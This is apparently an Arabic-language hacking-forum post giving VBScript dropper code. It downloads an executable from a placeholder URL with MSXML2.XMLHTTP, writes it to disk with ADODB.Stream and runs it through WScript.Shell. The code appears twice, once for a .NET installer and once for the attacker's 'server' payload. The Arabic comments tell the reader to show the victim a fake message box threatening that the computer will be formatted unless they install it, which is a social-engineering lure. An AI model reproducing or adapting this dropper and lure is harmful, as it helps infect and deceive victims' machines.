downlod vbs

كود:

هنا يجب وضع جملة شرطية للتحقق من وجود النتفروم ورك ام لا فان لم يكن موجود يتابع والا يقفز للحطوةالثالة  وهي تحميل السرفر

  set binloader = createobject("wscript.****************l")
Dim KsioA
Dim Fopasi
Dim Kidohak
Dim NxnNx
KsioA = "http://hhhhhhh/hhhhhh.exe"      رابط الدوت نت المباشر
Fopasi = "c:\net.exe"         مكان نزول البرنامج
Set Kidohak = CreateObject("MSXML2.XMLHTTP")
Kidohak.Open "GET", KsioA, False
Kidohak.send ("")
If Kidohak.Status = 200 Then
Set NxnNx = CreateObject("ADODB.Stream")
NxnNx.Open
NxnNx.Type = 1
NxnNx.Write Kidohak.ResponseBody
NxnNx.Position = 0
NxnNx.SaveToFile Fopasi, 2
NxnNx.Close
Set nNxnNx= Nothing
End If
Set Kidohak = Nothing
binloader.run(Fopasi)


هنا  تضع مسج بوكس يعني تعمل هندسة اجتماعية للضحية  تقولو مثلا الويندوز تبعك  يحتاج الى نت فرومورك يجب عليك تتبيته او سيتم فرمتة جهازك ههههههههههه:15:
set binloader = createobject("wscript.****************l")
Dim KsioA
Dim Fopasi
Dim Kidohak
Dim NxnNx
KsioA = "ربط السرفر المباشر"
Fopasi = "مكان النزول "
Set Kidohak = CreateObject("MSXML2.XMLHTTP")
Kidohak.Open "GET", KsioA, False
Kidohak.send ("")
If Kidohak.Status = 200 Then
Set NxnNx = CreateObject("ADODB.Stream")
NxnNx.Open
NxnNx.Type = 1
NxnNx.Write Kidohak.ResponseBody
NxnNx.Position = 0
NxnNx.SaveToFile Fopasi, 2
NxnNx.Close
Set nNxnNx= Nothing
End If
Set Kidohak = Nothing
binloader.run(Fopasi)